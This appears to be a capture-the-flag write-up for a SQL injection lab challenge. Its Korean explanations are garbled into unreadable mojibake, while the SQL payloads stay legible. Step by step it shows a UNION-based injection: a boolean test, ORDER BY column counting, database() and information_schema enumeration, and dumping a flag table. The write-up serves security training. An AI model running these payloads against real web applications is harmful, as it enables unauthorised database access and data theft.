[SegFault] (SQLi) - SQL Injection 1
[SegFault] (SQLi)
SQL Injection 1.
๋น๋ฐ ๋ฐ์ดํฐ๋ฅผ ์ฐพ์๋ด๋ผ!
๋ฌธ์ ํ์
์์ ํ์ด์ง์ ๋ค์ด๊ฐ๋ฉด ์๋์ ๊ฐ์ ์ฐฝ์ด ๋์จ๋ค.
์ฐ์ ๊ฒ์์ฐฝ์ ๋ํ์ฌ ์ ๋ ฅ ํ ์คํธ๋ฅผ ์งํํด๋ณธ๋ค.
SQL ๊ตฌ์กฐ ํ์ธ
์ฐ์ r ์ ์ ๋ ฅํด๋ณธ ๊ฒฐ๊ณผ r ์ด๋ผ๋ ๋ฌธ์๊ฐ ๋ค์ด๊ฐ๋ 3๊ฐ์ ID๊ฐ ๊ฒ์์ ๋์์ด ๋๋ ๊ฒ์ ๋ณด๊ณ ๋ถ๋ถ๋ง ์ ๋ ฅํด๋ ๋์จ๋ค๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
๊ทธ๋ ๋ค๋ฉด ๊ฒ์์ฐฝ์ ๊ตฌ์กฐ๋ ๋ค์๊ณผ ๊ฐ์ ๊ฒ์ด๋ผ๊ณ ์์์ด ๊ฐ๋ฅํ๋ค.
select * from ~~ where name like '%_____%';
๊ทธ๋ผ ์ฐ์ SQL Injection์ด ๊ฐ๋ฅํ์ง ํ์ธํด ๋ณด๊ธฐ ์ํด and๋ฅผ ์ด์ฉํ์ฌ ์ฐธ์ธ ๊ฒฐ๊ณผ๋ฅผ ํจ๊ป ๋ฃ์ด ํ์ธํด๋ณธ๋ค.
SQLi ๊ฐ๋ฅ์ฌ๋ถ ํ์ธ
select * from ~~ where name like '%(r%' and '1%'='1)%';
r ์ ์ ๋ ฅํ์ ๊ฒฝ์ฐ์ r%' and '1%'='1 ๋ฅผ ์ ๋ ฅํ ๊ฒฝ์ฐ์ ๊ฒฐ๊ณผ๊ฐ ๊ฐ์ ๊ฒ์ ๋ณด๊ณ SQL Injection์ด ๊ฐ๋ฅํ๋ค๊ณ ํ๋จํ ์ ์๋ค.
๊ทธ๋ ๋ค๋ฉด ์ด์ ๋ถํฐ๋ UNION SQL Injection์ ์ ์ฐจ์ ๋ฐ๋ผ ์งํํด ์ฃผ๋ฉด ๋๋ค.
ํ์ด ๊ณผ์ (ํด๊ฒฐ ๋ฐฉ์)
1. SQL Injection ๊ฐ๋ฅ ์ฌ๋ถ ํ๋จ
์์์ ํ์ธํ๊ธฐ ๋๋ฌธ์ ๋์ด ๊ฐ๋ค.
2. column ๊ฐ์ ํ์ ํ๊ธฐ
order by๋ฅผ ์ด์ฉํ์ฌ 1๋ถํฐ ๋์ ํด๋ณธ๋ค.
r%'order by 1~4 ๊น์ง๋ ๊ฐ๊ฐ ์ ๋ ฌ์ ๋ฐฉ์์ด ๋ฐ๋๋ฉด์ ๋ฐ์ดํฐ๊ฐ ์ถ๋ ฅ๋์์ง๋ง 5๋ถํฐ๋ ์๋๋ ๊ฒ์ ํ์ธํ ์ ์์๋ค.
๋ฐ๋ผ์ column์ ๊ฐ์๋ 4๊ฐ๋ผ๋ ๊ฒ์ ์ ์ ์๋ค.
3. ์ถ๋ ฅ๋๋ Column์ ์์น ์ฐพ๊ธฐ
์ด๋ค Column์ด ์ด๋ ๋ถ๋ถ์ ์ถ๋ ฅ๋๋์ง ํ์ธํด์ผ ํ๋ค.
r%' UNION SELECT 1,2,3,4 #
์์ ๊ฒฐ๊ณผ๋ฅผ ๋ฐํ์ผ๋ก ์ถ๋ ฅ์ด ๋๋ ์ปฌ๋ผ์ ์์น๋ฅผ ํ์ธํ ์ ์๋ค.
(์ถ๋ ฅ์ด ๋๋ ์์น๋ฅผ ์์์ผ ๋ด์ฉ์ ๋ํ ํ์ธ์ด ๊ฐ๋ฅํ๊ธฐ ๋๋ฌธ์ด๋ค.)
ID | Level | Rank Point | Rage
1 | 2 | 3 | 4
๊ณต๊ฒฉ ์ฟผ๋ฆฌ ์ค์
๋ณธ ๋ฌธ์ ์ ๊ฒฝ์ฐ 1~4์ ์ปฌ๋ผ์ด ๋ค ๋์ค๋ฏ๋ก ์๋ฌด ์์น์๋ ์ํ๋ SQL์ ์ฝ์ ํ๋ฉด ๋๋ค.
r%' UNION SELECT 1,____,3,4 #
4. DB ์ด๋ฆ ํ์ธํ๊ธฐ
์ด๋ค TABLE๊ณผ COLUMN์ด ์๋์ง ์์๋ด๊ธฐ ์ํด ์ด๋ค DB์ ์กด์ฌํ๋์ง ๋ถํฐ ํ์ธํด์ผ ํ๋ค.
SELECT database()
์ด๋ฅผ ๊ณต๊ฒฉ ์ฟผ๋ฆฌ์ ๋ด์ ํ์ธํด๋ณธ ๊ฒฐ๊ณผ๋ ๋ค์๊ณผ ๊ฐ๋ค.
r%' UNION SELECT 1,database(),3,4 #
database() : sqli_1
5. Table ์ด๋ฆ ํ์ธํ๊ธฐ
์ด๋ค DB์ ๋ค์ด์๋์ง ํ์ธํ์ผ๋ ์ด๋ค COLUMN์ด ์๋์ง ํ์ธํ๊ธฐ ์ํด ์ด๋ค TABLE์ด ์๋์ง ํ์ธํด์ผ ํ๋ค.
๊ทธ ์ ์ ๋ช๊ฐ์ TABLE์ ๊ฐ์ง๊ณ ์๋์ง ํ์ธํ๋ ๊ฒ์ ์ฐ์ ์ ํ๋ค.
count(TABLE_NAME)
2๋ฒ์งธ column์์น์ ๋ฃ์ด ์ฃผ์๊ธฐ ๋๋ฌธ์ Table์ ๊ฐ์๋ 3์ธ ๊ฒ์ ํ์ธํ ์ ์๋ค.
๊ทธ ๋ค์ Table์ด๋ฆ์ ํ์ธํด์ค๋ค. (์ด ๋ฌธ์ ์ ๊ฒฝ์ฐ ๋ชจ๋ ๋ด์ฉ์ด ์ถ๋ ฅ๋์ด์ ์ฌ์ค์ ์์ Table ๊ฐ์ ํ์ธ์ด ํ์์๋ ๊ฒฝ์ฐ์ ํด๋นํ์ง๋ง, ์ค ์์ ์ ํ์ด ์๋ ๊ฒฝ์ฐ๋ ๋ค์ ์์ด ๊ฐ๋ฅํ๋ฉด ์ฐ์ ์ ์ผ๋ก ๊ฐ์๋ฅผ ํ์ธํ๊ณ ๊ฐ๋ ๋ฒ๋ฆ์ ๋ค์ฌ์ผํ๋ค.)
table_name FROM information_schema.tables where table_schema = 'sqli_1' #
TABLE ์ด๋ฆ์ ํ์ธํ ๊ฒฐ๊ณผ๋ ๋ค์๊ณผ ๊ฐ๋ค.
r% 'UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schema = 'sqli_1' #
flag_table
plusFlag_Table
user_info
6. Column ์ด๋ฆ ํ์ธํ๊ธฐ
์์์ ์ด๋ค DB, TABLE์ด ์กด์ฌํ๋์ง ํ์ธํ์๊ธฐ ๋๋ฌธ์ ์ด์ ์ด๋ค COLUMN์ด ์กด์ฌํ๋์ง ํ์ธํ ์ฐจ๋ก์ด๋ค.
column_name FROM information_schema.columns WHERE table_name = 'flag_table' #
COLUMN ์ด๋ฆ์ ํ์ธํ ๊ฒฐ๊ณผ๋ ๋ค์๊ณผ ๊ฐ๋ค.
r% 'union select 1,column_name,3,4 from information_schema.columns where table_name = 'flag_table' #
flag
7. ๋ฐ์ดํฐ ์ถ๋ ฅ
flag column ์์ ์ด๋ค ๋ฐ์ดํฐ๊ฐ ์๋์ง ํ์ธํด๋ณธ๋ค.
flag FROM flag_table #
r% ' UNION SELECT 1,flag,3,4 FROM flag_table #
flag COLUMN ๋ด๋ถ์์ flag ๋ฐ์ดํฐ๋ฅผ ํ์ธํ ์ ์์๋ค.
์ง๋ฌธ ํ์, ์์ ๋ฐ ๋ณด์์ ๋ํ ์ง์ ํ์